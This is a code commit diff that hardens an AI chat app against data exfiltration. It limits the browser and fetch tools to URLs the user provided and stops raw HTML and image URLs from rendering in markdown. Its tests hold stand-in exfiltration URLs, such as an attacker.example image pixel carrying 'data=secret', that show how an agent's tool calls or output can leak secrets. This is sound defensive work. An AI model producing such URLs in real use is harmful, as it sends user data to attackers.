Harden app markdown URL handling (#16380)
This commit is contained in:
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
|
|||||||
return b.state.Data, pageText, nil
|
return b.state.Data, pageText, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if !allowedDirectURL(ctx, url) {
|
||||||
|
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
|
||||||
|
}
|
||||||
|
|
||||||
// Page not in cache, need to crawl it
|
// Page not in cache, need to crawl it
|
||||||
if b.crawlPage == nil {
|
if b.crawlPage == nil {
|
||||||
b.crawlPage = &BrowserCrawler{}
|
b.crawlPage = &BrowserCrawler{}
|
||||||
|
|||||||
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
|
||||||
|
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||||
|
bo := NewBrowserOpen(b)
|
||||||
|
|
||||||
|
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
|
||||||
|
t.Fatalf("expected direct URL rejection, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
|
||||||
|
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
|
||||||
|
|
||||||
|
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
|
||||||
|
t.Fatal("expected exact user-provided URL to be allowed")
|
||||||
|
}
|
||||||
|
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
|
||||||
|
t.Fatal("did not expect modified URL to be allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
||||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||||
p := makeTestPage("https://example.com/x")
|
p := makeTestPage("https://example.com/x")
|
||||||
|
|||||||
58
app/tools/url_policy.go
Normal file
58
app/tools/url_policy.go
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
//go:build windows || darwin
|
||||||
|
|
||||||
|
package tools
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
type directURLContextKey struct{}
|
||||||
|
|
||||||
|
var directURLPattern = regexp.MustCompile(`https?://[^\s<>"']+`)
|
||||||
|
|
||||||
|
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
|
||||||
|
allowed := make(map[string]struct{})
|
||||||
|
for _, match := range directURLPattern.FindAllString(text, -1) {
|
||||||
|
addAllowedDirectURLToMap(allowed, match)
|
||||||
|
}
|
||||||
|
return context.WithValue(ctx, directURLContextKey{}, allowed)
|
||||||
|
}
|
||||||
|
|
||||||
|
func addAllowedDirectURL(ctx context.Context, raw string) {
|
||||||
|
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||||
|
addAllowedDirectURLToMap(allowed, raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
|
||||||
|
if allowed == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
raw = cleanDirectURL(raw)
|
||||||
|
if raw == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
allowed[raw] = struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func allowedDirectURL(ctx context.Context, raw string) bool {
|
||||||
|
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||||
|
raw = cleanDirectURL(raw)
|
||||||
|
|
||||||
|
_, ok := allowed[raw]
|
||||||
|
return ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func cleanDirectURL(raw string) string {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
raw = strings.TrimRight(raw, ".,;:!?)]}")
|
||||||
|
|
||||||
|
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return raw
|
||||||
|
}
|
||||||
@@ -67,6 +67,9 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
|
|||||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||||
return nil, "", fmt.Errorf("url must be a non-empty string")
|
return nil, "", fmt.Errorf("url must be a non-empty string")
|
||||||
}
|
}
|
||||||
|
if !allowedDirectURL(ctx, urlStr) {
|
||||||
|
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
|
||||||
|
}
|
||||||
|
|
||||||
result, err := performWebFetch(ctx, urlStr)
|
result, err := performWebFetch(ctx, urlStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, "", err
|
return nil, "", err
|
||||||
}
|
}
|
||||||
|
for _, result := range result.Results {
|
||||||
|
addAllowedDirectURL(ctx, result.URL)
|
||||||
|
}
|
||||||
|
|
||||||
return result, "", nil
|
return result, "", nil
|
||||||
}
|
}
|
||||||
|
|||||||
61
app/ui/app/src/components/StreamingMarkdownContent.test.tsx
Normal file
61
app/ui/app/src/components/StreamingMarkdownContent.test.tsx
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
import { renderToStaticMarkup } from "react-dom/server";
|
||||||
|
import type React from "react";
|
||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
type MockStreamdownProps = {
|
||||||
|
children?: React.ReactNode;
|
||||||
|
components: {
|
||||||
|
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
|
||||||
|
};
|
||||||
|
rehypePlugins?: unknown[];
|
||||||
|
};
|
||||||
|
|
||||||
|
const streamdownMock = vi.hoisted(() =>
|
||||||
|
vi.fn((props: MockStreamdownProps) => props.children),
|
||||||
|
);
|
||||||
|
|
||||||
|
vi.mock("streamdown", () => ({
|
||||||
|
Streamdown: streamdownMock,
|
||||||
|
defaultRehypePlugins: {
|
||||||
|
katex: "katex",
|
||||||
|
raw: "raw",
|
||||||
|
},
|
||||||
|
defaultRemarkPlugins: {
|
||||||
|
gfm: "gfm",
|
||||||
|
math: "math",
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
import StreamingMarkdownContent from "./StreamingMarkdownContent";
|
||||||
|
|
||||||
|
describe("StreamingMarkdownContent", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
streamdownMock.mockClear();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not enable raw HTML parsing", () => {
|
||||||
|
renderToStaticMarkup(
|
||||||
|
<StreamingMarkdownContent content="<iframe></iframe>" />,
|
||||||
|
);
|
||||||
|
|
||||||
|
const props = streamdownMock.mock.calls[0][0];
|
||||||
|
expect(props.rehypePlugins).toEqual(["katex"]);
|
||||||
|
expect(props.rehypePlugins).not.toContain("raw");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not render markdown image src values", () => {
|
||||||
|
renderToStaticMarkup(
|
||||||
|
<StreamingMarkdownContent content="" />,
|
||||||
|
);
|
||||||
|
|
||||||
|
const props = streamdownMock.mock.calls[0][0];
|
||||||
|
const Img = props.components.img;
|
||||||
|
const html = renderToStaticMarkup(
|
||||||
|
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(html).not.toContain("<img");
|
||||||
|
expect(html).not.toContain("attacker.example");
|
||||||
|
expect(html).toContain("secret");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,5 +1,9 @@
|
|||||||
import React from "react";
|
import React from "react";
|
||||||
import { Streamdown, defaultRemarkPlugins } from "streamdown";
|
import {
|
||||||
|
Streamdown,
|
||||||
|
defaultRehypePlugins,
|
||||||
|
defaultRemarkPlugins,
|
||||||
|
} from "streamdown";
|
||||||
import remarkCitationParser from "@/utils/remarkCitationParser";
|
import remarkCitationParser from "@/utils/remarkCitationParser";
|
||||||
import CopyButton from "./CopyButton";
|
import CopyButton from "./CopyButton";
|
||||||
import type { BundledLanguage } from "shiki";
|
import type { BundledLanguage } from "shiki";
|
||||||
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
|
|||||||
return "";
|
return "";
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const safeRehypePlugins = [defaultRehypePlugins.katex];
|
||||||
|
|
||||||
const CodeBlock = React.memo(
|
const CodeBlock = React.memo(
|
||||||
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
||||||
// Extract code and language from children
|
// Extract code and language from children
|
||||||
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
|
|||||||
<Streamdown
|
<Streamdown
|
||||||
parseIncompleteMarkdown={isStreaming}
|
parseIncompleteMarkdown={isStreaming}
|
||||||
isAnimating={isStreaming}
|
isAnimating={isStreaming}
|
||||||
|
rehypePlugins={safeRehypePlugins}
|
||||||
remarkPlugins={remarkPlugins}
|
remarkPlugins={remarkPlugins}
|
||||||
controls={false}
|
controls={false}
|
||||||
components={{
|
components={{
|
||||||
|
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
|
||||||
|
alt ? <span>{alt}</span> : null,
|
||||||
pre: CodeBlock,
|
pre: CodeBlock,
|
||||||
table: ({
|
table: ({
|
||||||
children,
|
children,
|
||||||
|
|||||||
13
app/ui/ui.go
13
app/ui/ui.go
@@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func userMessageText(messages []store.Message) string {
|
||||||
|
var b strings.Builder
|
||||||
|
for _, message := range messages {
|
||||||
|
if message.Role != "user" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteString(message.Content)
|
||||||
|
b.WriteByte('\n')
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
||||||
if len(chat.BrowserState) > 0 {
|
if len(chat.BrowserState) > 0 {
|
||||||
var st responses.BrowserStateData
|
var st responses.BrowserStateData
|
||||||
@@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
|
|||||||
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
||||||
registry := tools.NewRegistry()
|
registry := tools.NewRegistry()
|
||||||
var browser *tools.Browser
|
var browser *tools.Browser
|
||||||
|
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
|
||||||
|
|
||||||
if !hasAttachments {
|
if !hasAttachments {
|
||||||
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
||||||
|
|||||||
Reference in New Issue
Block a user